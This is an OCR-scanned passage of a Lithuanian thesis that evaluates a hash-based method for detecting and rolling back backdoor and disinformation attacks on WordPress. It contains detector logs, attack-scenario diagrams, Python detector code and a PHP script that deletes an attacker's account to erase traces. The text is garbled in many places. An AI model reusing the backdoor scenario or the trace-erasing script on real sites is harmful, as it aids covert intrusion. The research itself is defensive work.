Modified tsble: wp_usermeta. Entry: (181, 3, "wp_capabilities’, 'a:1:{s:13:"administrator”;b:1;}"). Expected hash value: ad5925ced2eaBh6B. Actual hash value: 1b872c785643Bb1f
New entry in table: wp_usermeta. Entry: (182, 3, 'wp_user_level', "18').
New entry in table: wp_usermeta. Entry: (183, 3, "show_welcome_panel’', '1'].
New entry in table: wp_usermeta. Entry: (184, 3, *rich_editing', "true').
New entry in table: wp_usermeta. Entry: (186, 3, "tcp_last_login', '2022-85-28 81:20:43').
3
3
3

New entry in table: wp_usermeta. Entry: (187, 3, "wp_dashboard_guick_press_last_post_id", "274').

New entry in table: wp_usermeta. Entry: (188, 3, 'community-events-location®, "a:1:{s:2:"ip";s:11:"192.168.8.8";}").
New entry in table: wp_usermeta. Entry: (189, 3, *wp_user-settings', *libraryContent=hbrowse').

New entry in table: wp_usermeta. Entry: (118, 3, 'wp_user-settings-time’, '1652998987').

New entry in table: wp_users. Entry: (3, 'hacker®, 'SPSBPFwScWzwv5/THABDiokJQ4yp7455B1°, "hacker®, "hacker@inbox.lt', 'http://localhost’, detetime.datetime(2622, 4, 12, 8, 8), '", B, "hacker').
Instance publ modified. Files changed: True. DB changed: True
sha256:dd3c73c4ececB4385664a3a26b712e7751645FFB104Fe695bdc542c62b27884a
sha256:4b7a43e5ddB34172ec2cdclc251dab08738aa412082F862cT238F9F65eceeldd

Untagged: wp_publ:2822_85_28-81_22_52

Deleted: sha256:dd3c73ciececB43B856e4a3a26b712e7731645FF8104Fe695bdch42c62b27884a

Deleted: sha2B6:4e4f54Bf2aBa8l4B87263323677270aa205e]12dee4B87aeddTcde5f21d%ada8bh

Untagged: db_publ:2622_85_28-81_22_52

Deleted: sha256:4b7a43e5ddB34172ec2ecdele251dabBB8738aa412882F862c7238F9F60eceelad

Deleted: sha256:afe63875ec52aa%a2b8%haBY46ffb2973e5daba218795f11adcafBdBccasdea

Stopping wp_publ ...

Stopping db_publ ...

Removing wp_publ ...

Removing db_publ ...

Removing network publ_publ-net

Creating network “publ_publ-net® with driver “bridge”

Creating db_publ ...

Creating wp_publ ...

Restore successful for instance publ. Compromised containers saved in fopt/magistras/alerts/2822_85_28-81_22_52/publ/

38 pav. Prevencinio metodo tikrinimo eiga ir rezultatai (2 scenarijus)

Pagal prevencinio metodo rezultatus pateiktus 38 pav., galima teigti, jog metodas aptiko naujai
jkeltus failus, naujai sukurtg jrasg ir naudotojg. Pazeistos sistemos atvaizdai sékmingai iSsaugoti ir
atkurta pradiné sistemos biisena.

4.3.3. Hibridinés kibernetinés atakos trecias scenarijus

Naudojamas tas pats pazeidZziamumas, kaip apraSyta auksCiau 4.2.2 skyriuje. Atakos scenarijus
sudétingesnis, siekiant apsunkinti atakos aptikimo galimybe, pasalinus kenkéjiSkos veiklos poZymius.
Atakos scenarijus pateikiamas veiksmy sekos diagrama 39 pav.
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Kenkéjiskas naudotojas Inform aciné sistema

T T
I I
I 1: [dedamas "galiniy dury" programinis kodas I

2: |[dedamas naudotojo suklrimo skriptas

3. lddedamas naudotojo I5trynimo skriptas

4: Jungiamasi prie "galiniy dury” ir iSkvie€iamas naudotojo sukdrimo skriptas,

5: Kuriamas naujas naudotojas

7- Sukurtas naujas naudotojas eﬁi Sukurtas naujas naudotojas

8: Jungiamasi prie sistemos su naujai sukurtu naudotoju

10: Paskelbiamas naujas klaidingas jrasas

[
I
I
I
I
I
- 9: Prisijungimas sekmingas ’U :
I
I
I
I
L

11: Kuriamas naujas jrasas

12: Sukurtas naujas jrasas
13- Naujo raso paskelbimas sékmingas < - — - — = = =

14- Jungiamasi prie "galiniu dury” ir i5kvieciamas naudotojo i5trynimo skripta

15: Btrinamas naudotojas

16: Btrintas naudotojas U
17: Btrintas naudotojas e — — — —- —- = -

18: Jungiamasi prie "galiniy dury" ir itrinami visi atakos metu naudoti failai

39 pav. Trecias hibridinés atakos scenarijus

Treciasis atakos scenarijus vykdomas $iais astuoniais zZingsniais:

1.

Naudojantis papildinio pazeidziamumu jkeliamas ,,galiniy dury”“ programinis kodas j
informacing sistema;

Naudojantis papildinio pazeidziamumu jkeliamas paruo$tas naudotojo suktirimo skriptas j
informacing sistemg. Naudotojo sukiirimo skriptas paruoStas taip, jog bty panaudojami
Wordpress konteinerio aplinkos kintamieji, kuriuose nurodomi prisijungimai prie duomeny
bazés;

Naudojantis papildinio pazeidziamumu jkeliamas paruostas naudotojy iStrynimo skriptas;
Naudojantis jkeltu ,,galiniy dury”“ programiniu kodu iskvie¢iamas naudotojo sukiirimo
programinis kodas;

Jungiamasi prie paZeistos sistemos su naujai sukurtu naudotoju ir jo slaptazodziu;

Atliekama antroji atakos fazé ir sukuriamas naujas klaidingas jrasas, naudojantis jau esamais
Kitais sistemos naudotojais, siekiant sumazinti aptikimo galimybe.

Atliekamas kenk¢jiSkos veiklos poZymiy pasalinimo fazé, naudojantis jkeltu ,,galiniy dury®
programiniu kodu iskvie¢iamas naudotojo istrynimo skriptas;

Naudojantis jkeltu ,.galiniy dury“ programiniu kodu pasalinami visi kenkéjiskai veiklai
naudoti failai, jskaitant ir ,,galiniy dury” failg.

Sio scenarijaus metu naudojamas papildomas programinis kodas, skirtas naudotojy istrynimui.
Programinis kodas pateikiamas 40 pav.
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1 <?php

2 fservername=getenv (' WORDPRESS_DE_HOST");

3 fusername=getenv( ' WORDPRESS_DE_USER" ) ;

4 fpassword=getenv( "WORDPRESS_DE_PASSWORD ') ;

5 %db=getenv{ 'WORDPRESS_DB_MAME'Y;

3 #fconnection to mysqgl

7 $conn=mysgli_connect{$servername,fusernames, fpassword, %db);
g if(!%conn)

9~ 1
1@ die("Connection Failed".mysql_error{});
11 3}
12
13 =01 "DELETE FROM wp_users WHERE user_login='"hacker'™;
14 if (%Zconn->query({%sgl) === TRUE) {
15 echo "User deleted successfully'n™:
lé~ 3} else {
17 gecho "Error while deleting userin";
18}
19 $=ql = "DELETE FROM wp_usermeta WHERE user_id='3"";
2@~ if (Sconn-:guery(%sgl) === TRUE) {
21 echo "Usermeta deleted successfully’n™;
22~ } else {
23 echo "Error while deleting usermeta‘n".%=zql."<br»".%conn-*errar;
24 3}
25 mysgli_close(%fconn);
26 >

40 pav. Naudotojy iStrynimo programinis kodas

Sukurtas naudotojy iStrynimo programinis kodas leidzia pasalinti kenke¢jiskos veiklos pozymius
— iStrinti ,,galiniy dury* programinj kodg ir paSalinti atakos metu naudota naudotoja.
Prevencinio metodo rezultatai paleidus po trec¢iojo hibridinés atakos scenarijaus pateikiami 41 pav.

Time: B81:27:52.752864 Checking publ instance

5162dfb94b65 192.168.08.106:5080/wordpress :pub_latest "/entrypoint.sh" 3 minutes ago Up 3 minutes 443/tcp, 192.168.0.186:8000->80/tcp wp_publ
Checking hashes for publ instance

Modified root folder: wp_publ/wordpress/wp-content. Expected hash value: 58e981da28278@bé. Actual hash value: 35e9eb6f4aB43fdea

Modified folder: wp_publ/wordpress/wp-content/uploads. Expected hash value: e59f563996f13fbl. Actual hash value: 25545ddf7816fcc?

Modified folder: wp_publ/wordpress/wp-content/uploads/2022. Expected hash value: eB8dce32c4dd1638. Actual hash value: bB6FB8Ffalc3blb95f

Modified folder: wp_publ/wordpress/wp-content/uploads/2022/85. Expected hash value: al3fd828bbéab7ac. Actual hash value: 98f622ebdc7essld

New file wp_publ/wordpress/wp-content/uploads/2022/05/karas-488x258.jpg detected

New file wp_publ/wordpress/wp-content/uploads/2022/85/karas-540x3408.jpg detected

New file wp_publ/wordpress/wp-content/uploads/2022/05/karas-768x577.jpg detected

New file wp_publ/wordpress/wp-content/uploads/2022/05/karas-388x225.ipg detected

New file wp_publ/wordpress/wp-content/uploads/20822/05/karas-150x150.jpg detected

New file wp_publ/wordpress/wp-content/uploads/20822/05/karas-888x508.jpg detected

New file wp_publ/wordpress/wp-content/uploads/20822/85/karas.ipg detected

Modified table: wp_posts. Entry: (274, 3, datetime.datetime(2022, 5, 28, 1, 26, 53), Mone, '', 'AutomatiSkai iSsavgotas juodrastis', '', 'auvto-draft', 'closed', 'clesed',
New entry in table: wp_posts. Entry: (275, 2, datetime.datetime(2022, 5, 28, 1, 27, 31), datetime.datetime(2022, 5, 19, 22, 27, 31), '<I-- wp:cover {"url":"http://re.1t:8
New entry in table: wp_posts. Entry: (276, 3, datetime.datetime(2022, 5, 20, 1, 27, 7), datetime.datetime(2022, 5, 19, 22, 27, 7), '', 'karas', '', 'inherit', 'closed', '
New entry in table: wp_posts. Entry: (277, 3, datetime.datetime(2022, 5, 20, 1, 27, 31), datetime.datetime(2022, 5, 19, 22, 27, 31), '<!-- wp:cover {"url":"http://re.1t:8
Modified table: wp_term_taxonomy. Entry: (1, 1, 'category', 'Aktualiausios nauvjienos', B8, 6). Expected hash value: 881e453fafefc453. Actual hash value: bcl5bacl83e3355d
Modified table: wp_term_taxonomy. Entry: (2, 2, 'category', 'Navjausios Zinios', @, 5). Expected hash value: 2c58e6daaf295866. Actual hash value: 69fe9b189311088f
Modified table: wp_term_taxonomy. Entry: (3, 3, 'category', 'Lietuveos navjienos', 8, 4). Expected hash value: 63a401953bc56542. Actual hash value: 671a688aébébb5d2
Modified table: wp_term_taxonomy. Entry: (8, 8, 'category', 'Gyvenimo navjienos', 8, 6). Expected hash value: 41925be5e7aé5a7e. Actual hash value: cB8369ef4508cfbs
Modified table: wp_term_taxcnomy. Entry: (11, 11, 'category', 'Svarbiausios naujienos', 8, 3). Expected hash value: bb21c978f88fa37c. Actual hash value: BOce5f7ecc814924
Instance publ modified. Files changed: True. DB changed: True

Sha256:1f18clfe8eBebda2a88e92ed750911ba267d15f7ebbbl45aefae91c07d3d24F0

sha256:535ef4e3749713bdd5a%7a%bed164a247f26ca4fd8becda547d3377a4del1c369

Untagged: wp_publ:2022_85_28-81_27_55

Deleted: sha256:1f18clfeBeBebda2aB8e92ed750911ba267d15f7ebbbliSaefae?1cB7d3d240

Deleted: sha256:f9dB7ab5e49ccch8e5dc684d7e45423bcadbodes509bb912820a584bF85e2%ed

Untagged: db_publ:2822_85_28-81_27_55

Deleted: sha256:535ef4e3749713bdd5a97a%bed164a247f26ca4fd8beda547d3377a4dellc369

Deleted: sha256:1c2 £285d2113c885f 7b2282. f 363587e56621e5044

Stopping wp_publ ...

Stopping db_publ ...

Removing wp_publ ...

Removing db_publ ...

Removing network publ_publ-net

Creating network "publ_publ-net" with driver "bridge"

Creating db_publ ...

Creating wp_publ ...

Restore successful for instance publ. Compromised containers saved in /opt/magistras/alerts/2022_85_20-81_27_55/publ/

41 pav. Prevencinio metodo tikrinimo eiga ir rezultatai (3 scenarijus)
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Pagal prevencinio metodo rezultatus pateiktus 41 pav., galima teigti, jog metodas aptiko naujai
sukurtus failus ir naujai sukurtg jrasa, nors atakos metu buvo istrinti naudoti programiniai kodai ir
naudotojas.

4.3.4. Hibridinés kibernetinés atakos ketvirtas scenarijus

Trys ataky scenarijai, aprasyti auks¢iau, nukreipiami j duomeny bazéje saugomus jrasus, kuriant
naujus arba modifikuojant esamus. Ketvirtas scenarijus naudoja ta patj pazeidziamuma, kaip aprasSyta
auksciau 4.2.2 skyriuje, taciau ataka vyksta nemodifikuojant duomeny bazés, tik pazeidziant esamus
failus. Atakos scenarijus pateikiamas veiksmy sekos diagrama 42 pav.

KenkéjiSkas naudotojas Informaciné sistema

T T

: 1: [dedamas galiniy dury programinis kodas :

>._
2. |dedami Zalingi failai >
3: Jungiamasi prie "galiniy dury" ir sukei€iami failai >

4: Jungiamasi prie "galiniy dury" ir iStrinami visi atakos metu naudoti faila"

42 pav. Ketvirtas hibridinés atakos scenarijus

Ketvirtas atakos scenarijus vykdomas $iais keturiais zingsniais:

1. Naudojantis papildinio pazeidziamumu jkeliamas ,,galiniy dury”“ programinis kodas j
informacing sistema;

2. Naudojantis papildinio pazeidziamumu jkeliami Zalingi failai. Sio tyrimo metu, buvo perkelti
suklastoti paveikslai, skirti pakeisti straipsniuose naudojamus paveikslus.

3. Naudojantis jkeltu ,,galiniy dury® programiniu kodu sukeic¢iami failai;

4. Naudojantis jkeltu ,,galiniy dury*“ programiniu kodu pasalinami visi kenkéjskai veiklai
naudoti failai, jskaitant ir galiniy dury faila.

Prevencinio metodo rezultatai paleidus po ketvirtojo hibridinés atakos scenarijaus pateikiami 43

pav.

62



Time: 81:33:10.817533 Checking publ instance

2265f91ae3sé 192.168.0.106:5008/wordpress:pub_latest "/entrypoint.sh" 4 minutes ago Up 4 minutes 443/tcp, 192.168.0.106:8008->80/tcp wp_publ
Checking hashes for publ instance

Modified root folder: wp_publ/wordpress/wp-content. Expected hash value: 58e981da282788bs&. Actual hash value: 5885d64B88b38859d

Modified folder: wp_publ/wordpress/wp-content/uploads. Expected hash value: e59f563996f13fbl. Actual hash value: a98ed9546fbcéfch

Modified folder: wp_publ/wordpress/wp-content/uploads/20821. Expected hash value: 9fBb278e59319266. Actual hash value: aB59f7Bc34asb38F

Modified folder: wp_publ/wordpress/wp-content/uploads/2021/11. Expected hash value: cBe4eefleB268848. Actual hash value: 5ScbeBac8d75748a9

Modified file: wp_publ/wordpress/wp-content/uploads/2821/11/karantinas-300x225.jpg. Expected hash value: aZa5822a8d811c76.Actual hash value: 8477badbf11B4a22
Modified file: wp_publ/wordpress/wp-content/uploads/2821/11/karantinas.jpg. Expected hash value: al7963f8658a5b5a.Actual hash value: 4bc250856c9b2699
Modified file: wp_publ/wordpress/wp-content/uploads/2821/11/karantinas-352x250.jpg. Expected hash value: faf39518db15fed5.Actual hash value: 476a5ff8cbd417d3
Modified file: wp_publ/wordpress/wp-content/uploads/2821/11/karantinas-150x1508.jpg. Expected hash value: b748bdaff53933cd.Actual hash value: 33128def592ab2f9
Instance publ modified. Files changed: True. DB changed: False

sha256:28e87f172eeb3elbbc383chas2863d4c3icald2al21f932b5838487b6975d7002

sha256:4cd5f7155efe9c56Ff5f19ba4288877F06514efl6cfEef7dB1bcata8f3653eda

Untagged: wp_publ:2022_05_208-01_33_16

Deleted: sha256:28e87f172eeb3elbbc3B3chas2863d4c3cald2al21932b5838487h6975d7002

Deleted: sha256:52abeb74dd662a7e0fBb156f8d1690795187597elf37e8404457e51dd52825a9

Untagged: db_publ:2022_85_28-81_33_16

Deleted: sha256:4cd5f7155efe9c56ff5Ff19ba4208877F06514ef06cf5ef7dB1bca4a8f3s535eda

Deleted: sha256:cBa301f55ad4d589cfoFlff7f7603efb2db96b9falloaebba42afedlslffof2b

Stopping wp_publ ...

Stopping db_publ ...

Removing wp_publ ...

Removing db_publ ...

Removing network publ_publ-net

Creating network "publ_publ-net" with driver "bridge"

Creating db_publ ...

Creating wp_publ ...

Restore successful for instance publ. Compromised containers saved in /opt/magistras/alerts/2822_85_20-81_33_1&/publ/

43 pav. Prevencinio metodo tikrinimo eiga ir rezultatai (4 scenarijus)

Pagal prevencinio metodo rezultatus pateiktus 43 pav., galima teigti, jog metodas aptiko
informacinéje esanciy faily pakeitimus.

4.3.5. Hibridiniy kibernetiniy ataky prevencijos metodo pagal scenarijus testavimas

Hibridiniy kibernetiniy ataky prevencijos metodas buvo testuojamas pagal auk$c¢iau aprasytus
keturis scenarijus. Kiekvienas scenarijus kei¢ia arba duomeny bazés jraSus, arba informacinéje
sistemoje esamus failus.

Kiekvieno scenarijaus pabaigoje iskviestas prevencinis metodas leido patikrinti ar aptikta hibridiné
kibernetiné ataka kiekvieno scenarijaus atveju. Testavimo metu taip pat tikrintas prevencinio metodo
atklirimo procesas ir ar iS§saugoma pazeistos sistemos biisena analizei. Testavimo apibendrinti
rezultatai pateikiami lenteléje 6 lentelé.

6 lentelé. Prevencijos metodo aptikimo tyrimo rezultatai pagal scenarijus

Nr. Pakeistifailai  Pakeista DB  Aptikta Aptikta Aptikta ISsaugota Atkurta
ataka pakeisti  pakeista  sistemos sistema
failai DB blisena
1 Taip Taip Taip Taip Taip Taip Taip
2 Taip Taip Taip Taip Taip Taip Taip
3 Taip Taip Taip Taip Taip Taip Taip
4 Taip Ne Taip Taip Ne Taip Taip

Sio darbo apimtyje testuojant ir atliekant eksperimentus pasiektas 100% prevencinio metodo
efektyvumas. Taciau tai nereiSkia, jog prevencinis metodas dirba nepriekaiStingai ir Sitoks
efektyvumas bty uztikrinamas visg laikg. Pasikeitus ataky tipams arba atsiradus papildomiems
faktoriams efektyvumas gali sumaZzéti.

Tyrimo metu buvo iStestuotas hibridiniy kibernetiniy ataky prevencijos metodo efektyvumas
iSbandant skirtingus scenarijus. Pagal gautus rezultatus matome, kad:
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Visais ataky scenarijais prevencinis metodas sugeb¢jo aptikti ataka, kai buvo pakeisti failai
esantys informacing¢je sistemoje;

Visais ataky scenarijais prevencinis metodas sugebéjo aptikti ataka, kai buvo pakeiciami
duomeny bazés jrasai,

Prevencinis metodais visais ataky scenarijais iSsaugojo esamg sistemos biiseng, skirtg
tolimesnei atakos analizei;

Visy ataky scenarijy metu prevencinis metodas atkiiré sistema j prading jos biisena, pasalinant
visus kenkéjiskos veiklos metu padarytus pakeitimus failuose ir duomeny bazéje.

4.4. Skyriaus apibendrinimas

Atliekant pirmajj tyrimg buvo iSmatuota hibridiniy kibernetiniy ataky prevencinio metodo
greitaveika pagal tikrinamy katalogy gylj bei faily kiekj ir dydj;

ISmatuotos prevencinio metodo aptikimo trukmés keiciantis katalogy gyliui:

o Faily tikrinimo laikas svyruoja nuo 2,404 s. iki 6,421 s. nepriklausomai nuo katalogo
lio
¢ ]g)sgdéj ant katalogy gyliui tikrinimo laikas i$lieka panaSus ir prognozuojamas;
ISmatavus prevencinio metodo aptikimo trukmés pokycius keiciantis faily kiekiui ir dydziui
nustatyta, kad:
o Didéjant faily kiekiui ir bendram jy dydziui pastebimas trukmés didéjimas;
o Faily dydziui padidéjus apie 4,2 karto pastebimas 5,6 karto trukmés padidéjimas, kai
lyginamy faily kiekis skiriasi apie 1,5 karto;
o Faily dydziui padidéjus apie 8 kartus, pastebimas apie 11 karty trukmés padidéjimas,
kai lyginamy faily kiekis skiriasi apie 2,2 karto;
Atlikus antrgjj tyrima, buvo atliktas hibridiniy kibernetiniy ataky prevencinio metodo
efektyvumo testavimas pagal skirtingus scenarijus;
Kokybinio tyrimo metu nustatyta, kad:
o Visais ataky scenarijais prevencinis metodas sugebéjo aptikti ataka, kai buvo pakeisti
failai esantys informacingje sistemoje;
o Visais ataky scenarijais prevencinis metodas sugebéjo aptikti ataka, kai buvo
pakei¢iami duomeny bazés jrasai;
o Prevencinis metodais visais ataky scenarijais i§saugojo esamg sistemos biisena, skirtg
tolimesnei atakos analizei;
o Visy ataky scenarijy metu prevencinis metodas atkiiré sistemg ] prading jos biiseng,
pasalinant visus kenkeéjiSkos veiklos metu padarytus pakeitimus failuose ir duomeny
bazgje.
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ISvados

1. Atlikus hibridiniy kibernetiniy ataky analizg, pastebima, jog ataky skaiCius auga, kibernetinéms
atakoms ir ,,galiniy dury” jkélimui daZniausiai iSnaudojami senai zinomi pazeidZziamumai, o
informacinés atakos atlickamos jvairiais buidais. Sékmingos hibridinés atakos daro finansing,
reputacing ir teising Zalg jmonéms, todel hibridiniy kibernetiniy ataky prevencijos metodai yra
biitini, siekiant iSvengti zalos patyrimo;

2. I8analizavus esamus saugos sprendimus hibridiniy kibernetiniy ataky prevencijai, galima teigti,
jog: 1) kibernetiniy ataky prevencijai naudojamos internetiniy svetainiy ugniasienés, TVS
saugumo papildiniai, taciau jie daznu atveju remiasi zinomy kenkéjisky programy parasais, o tai
neapsaugo nuo naujai atsirandanciy ataky ir neuztikrina visapusiskos apsaugos; 2) ,,galiniy dury®
atakos prevencijai naudojami parasu ar elgsena grjsti metodai bei euristinis nustatymas, kuriems
butinas didelis duomeny kiekis apmokymui ir aptikimui. Metodai reikalauja daug laiko priezitirai
ir apmokymui, tad¢iau neuztikrina mazo klaidy kiekio; 3) informaciniy ataky prevencija yra
natiiralios kalbos klasifikavimo uzdavinys, kurio sprendimui naudojami jvairiis duomeny
rinkiniai ir sprendimai. Esant mazam duomeny rinkinio dydziui nejmanoma uztikrinti auksto
modelio efektyvumo, todél apmokymas yra ilga ir brangi operacija;

3. Atlikus sprendimo projektavimo etapa, pasiiilytas hibridiniy kibernetiniy ataky informacinése
sistemose prevencinis metodas, kuris remiasi maiSos funkcijos reikSmiy skaiciavimu ir uztikrina
hibridiniy kibernetiniy ataky aptikimg ir apsaugg, atstatant sistemos biiseng ] prading. Pasiiilytas
sprendimas pagristas ne tik specialiy komponenty ir technologijy panaudojimu, taiau ir
specifiniu informacinés sistemos diegimu. Siekiant visapusiSkai apsaugoti informacing sistema
yra sukuriama etaloniné informaciné sistema izoliuotoje aplinkoje, o viesai prieinama tik tiksli
sistemos kopija;

4. Atlikus sprendimo realizavimo etapa, sékmingai realizuotas hibridiniy kibernetiniy ataky
informacinése sistemose, iSnaudojant ,,galines duris“ prevencijos metodas. Realizacijos metu
sukurta Wordpress informaciné sistema ir sukurtas prevencinis metodas Python programavimo
kalba. Sukurtas prevencinis metodas naudoja Docker konteineriy technologija, xxHash maiSos
funkcijg ir Aerospike duomeny baze maiSos reik§més saugoti, uztikrindamas reikalavimy
uztikrinima;

5. Atlikus eksperimentinj prevencinio metodo greitaveikos tyrimg nustatyta, jog:

a. Didé¢jant katalogy gyliui tikrinimo laikas iSlieka panaSus ir prognozuojamas;

b. Faily tikrinimo laikas svyruoja nuo 2,404 s. iki 6,421 s. nepriklausomai nuo katalogo
gylio;

c. Didéjant faily kiekiui ir bendram jy dydziui pastebimas trukmés did¢jimas;

d. Faily dydziui padidéjus apie 4,2 karto pastebimas 5,6 karto trukmés padidéjimas, kai
lyginamy faily kiekis skiriasi apie 1,5 karto;

e. Faily dydziui padidéjus apie 8 kartus, pastebimas apie 11 karty trukmés padidéjimas, kai
lyginamy faily kiekis skiriasi apie 2,2 karto;

6. Atlikus eksperimentinj prevencinio metodo kokybinj tyrima nustatyta, jog:

a. Visais keturiais ataky scenarijais prevencinis metodas sugebéjo aptikti atakg, kai buvo
pakeisti failai esantys informacingje sistemoje;

b. Visais keturiais ataky scenarijais prevencinis metodas sugebéjo aptikti ataka, kai buvo
pakei¢iami duomeny bazés jrasai;

c. Prevencinis metodais visais keturiais ataky scenarijais i§saugojo esama sistemos biisena,
skirtg tolimesnei atakos analizei;
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d. Visy keturiy ataky scenarijy metu prevencinis metodas atkiiré sistemg j prading jos biisena,
pasalinant visus kenkéjiskos veiklos metu padarytus pakeitimus failuose ir duomeny
bazéje.

e. Visy keturiy ataky scenarijy metu prevencinis metodas iSsaugojo srauto failus, kuriuose
matomas atliktos atakos scenarijus.
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Priedai

Pateikiama hibridiniy kibernetiniy ataky prevencijos informacinése sistemos, naudojant ,,galines
duris* programinis kodas Python programavimo kalba.

Prevencinio metodo maiSos funkcijos reik§miy skai¢iavimo modulio programinis kodas

import mysgl.connector

import aerospike

import ubelt

import sys

from datetime import datetime
import shutil

import os

def create aerospike connection():
# Prepare Aerospike cc
config = {

'hosts': [('127.0.0.1", 3000)]

1nection

}
try:
client = aerospike.client (config) .connect ()
except Exception as ex:
print ("Failed to connect to the cluster with {0} {1}".format(config['hosts'],
ex))
sys.exit (1)
return client

def create mysqgl connection () :

>

# Prepare MySQL

1%

try:
cnx = mysql.connector.connect (user="'wordpress', password='wordpress',
host='127.0.0.1",
port=3306,
database='wordpress')
cursor = cnx.cursor ()

return cnx, cCursor

except Exception as ex:
print ("Failed to connect to the MySQL server. Exception: {0}".format (ex))
sys.exit (1)

# Create hashes for DB tables

def make db hashes(cursor, client, ignore tables, ignore entries):
# Read tables

show tables query = "SHOW TABLES"

cursor.execute (show tables query)

tables = []

for table in cursor:

if table[0] not in ignore tables: # Discard unnecessary tables
tables.append(table[0])
# Read data from all tables
for table in tables:
table query = ("SELECT * FROM {}".format (table))

cursor.execute (table query)
for entry in cursor:

if entry[l] not in ignore_entries: # Discard uni 'y
entry id = entryl[0]
key value = "{} {}".format (table, entry id)
entry hash value = ubelt.hash data(str(entry), hasher='xx64")
key = ('hashes', 'db ' + table, key value)
try:

client.put (key,
{'id': key value, 'value': entry hash value,
'timestamp': int (datetime.now () .timestamp()) })
except Exception as e:
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print ("Error: {0}".format(e), file=sys.stderr)

# Create hashes for folders and files 1in tree structure
def create tree hashes(folders set, files set, files dir prefix, compressed dir, client):
folders list = []
files list = []
for root, dirs, files in os.walk(files dir prefix):
for d in dirs:
if root.endswith("/"):
folders list.append("{}{}".format (root, d))
else:
folders_list.append("{}/{}".format(root, d))
os.path.join(root, d)
for £ in files:
if root.endswith("/"):
files list.append("{}{}".format (root, f))
else:
files list.append("{}/{}".format (root, £f))
os.path.join(root, f£)

# Create temp dir for compressed data.

os.makedirs (compressed dir, exist ok=True)

# Create dict for compressed data and folders path mapping
compressed folders = {}

# Compress each of folder and create hashes. While compressing ignore metadata and
sort
for folder in folders list:

pkg name = compressed dir + "/" + folder.replace(files dir prefix,
"").replace("/", " ") + ".tar"

compressed folders[folder] = pkg name

os.system("tar -cf {} --mtime='UTC 2021-12-01' --sort=name --group=root:0 --
owner=root:0 —--same-owner --numeric-owner --no-selinux --ignore-zeros --same-permissions

"

"-C {} . >/dev/null 2>&l1".format (pkg name, folder))

# Create hashes for each compressed folder
for fname, fpath in compressed folders.items() :
hash value = ubelt.hash file(fpath, hasher='xx64")
file = str(fname) [len(files dir prefix):]
key = ('hashes', folders set, str(file))
try:
client.put (key,
{'filepath': str(file), 'value': hash value,
'timestamp': int (datetime.now () .timestamp())})
except Exception as e:
print ("Error: {0}".format(e), file=sys.stderr)

# Create hashes for each file
for fpath in files list:
hash value = ubelt.hash file(fpath, hasher="xx64")
file = str(fpath) [len(files dir prefix):]
key = ('hashes', files set, str(file))
try:
client.put (key,
{'filepath': str(file), 'value': hash value,
'timestamp': int (datetime.now () .timestamp()) })
except Exception as e:
print ("Error: {0}".format(e), file=sys.stderr)

# Delete compressed folders folder
shutil.rmtree (compressed dir)

if name == "' main_ ':
ignore table names = ['wp term relationships', 'wp postmeta', 'wp options']
ignore entries names = ['cron',

' site transient update core',
' site transient update themes',
' transient health-check-site-status-result’',
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' site transient timeout theme roots',
' site transient theme roots',
' site transient update plugins',
'auto core update failed',
'auto core update notified',
' site transient timeout available translations',
' site transient available translations',
' transient doing cron',
'auto updater.lock',
'core updater.lock',
' site transient timeout php check',
' site transient php check'
]
# Create connections
as client = create aerospike connection()
db cnx, db cursor = create mysqgl connection()
# Execute actions
make db hashes (db cursor, as client, ignore table names, ignore entries names)
create tree hashes ("wp folders", "wp files", "../isolated/data/wordpress/",
"./compressed", as_client)
# Close connections
db cursor.close()
db cnx.close ()
as _client.close()

Prevencinio metodo maisSos funkcijos reik§miy tikrinimo modulio programinis kodas

import mysqgl.connector

import aerospike

import ubelt

import sys

import os

import vt

from datetime import datetime
import time

def create aerospike connection():
# Prepare Aerospike connection
config = {
'hosts': [('127.0.0.1', 3000)]
}
try:
client = aerospike.client (config) .connect ()
except Exception as e:
print ("Failed to connect to the cluster with {0} {1}".format (config['hosts'],
sys.exit (1)
return client

def create mysqgl connection(db_host port):
# Prepare MySQL

try:
cnx = mysgl.connector.connect (user="'wordpress', password='wordpress',
host=db_host port.split(":") [0],
port=db _host port.split(":")[1],
database='wordpress')
cursor = cnx.cursor ()

return cnx, cursor

except Exception as e:
print ("Failed to connect to the MySQL server. Exception: {0}".format (e))
return None, None

class HashChecker:
def init (self, db host port, folders set, files set, files dir prefix,

compressed dir):
# Create Aerospike / MySQL client

[0)]

e))
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self.as client create a
self.db cnx, self.db curs
# Global configuration

self.files dir prefix = f
self.compressed dir =

self.folders set = folder
self.files set = files se
self.analysis enabled = F
self.ignore table names =

'wp_wp_ sap_ answers']

hash

self.ignore entries names

# Prepare structures for
self.folders map {}
self.files map =
self.ff map {}
self.compressed folders
self.root folders []
self.root files

{1

[]

# Prepare results

self.db changes found = F
self.db changes list [1
self.wp_changes_found = F
self.wp changes list [1
self.wp_files analysis =

def del (self):

# Close Aerospike client
self.as client.close()

# Close MySQL client
self.db cursor.close()

self.db cnx.close()

# This is only way to check a
def check db hashes(self):
try:
# Read tables
show tables query
self.db cursor.execut
tables []
for table name in sel
if table name[0]

erospike connection ()
or create mysgl connection(db host port)

iles dir prefix

compressed dir

s_set
t
alse

['wp term relationships', 'wp postmeta',

= ['cron',

' site transient update core',

' site transient update themes',

' transient health-check-site-status-result',
' site transient timeout theme roots',

' site transient theme roots',

' site transient update plugins',

'auto core update failed',

'auto core update notified',

' site transient timeout available translations',
' site transient available translations',

' transient doing cron',

'auto updater.lock',

'core updater.lock'

]

data

{1

alse
alse

[]

11 DB entries. Can't optimize here.

SHOW TABLES"
e (show tables query)

f.db cursor:
not in self.ignore table names:

tables.append (table name[0])

# Read data from all
for table in tables:
try:
table query =

tables

("SELECT * FROM {}".format (table))

'wp_options'

self.db cursor.execute (table query)
table entries []
for entry in self.db cursor:
if entry[l] not in self.ignore entries names:
table entries.append(entry) # Add to array for all values

for entry in table entries:
entry id entry[0]

I4
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key value = "{} {}".format(table, entry id)
key = ('hashes', 'db ' + table, key value)

entry hash value = ubelt.hash data(str(entry), hasher=

try:
(key, metadata, record) = self.as client.get (key)
if record['value'] != entry hash value:

'xx64")

self.db changes list.append("Modified table: {}. "

"Entry: {}. "

"Expected hash value: {}. "
"Actual hash value: {}"

.format (table,
entry,

record(['value'],
entry hash value))

print ("Modified table: {}. "
"Entry: {}. "
"Expected hash value: {}. "
"Actual hash value: {}"
.format (table,
entry,
record['value'],

entry hash value), file=sys.stderr)

self.db changes found = True
except Exception:

print ("New entry in table: {}. Entry: {}.".format (table,

entry), file=sys.stderr)

self.db changes list.append("New entry in table: {}. Entry:

{}.".format (table, entry))
self.db changes found = True
except Exception:

print ("New table found: {}".format (table), file=sys.stderr)

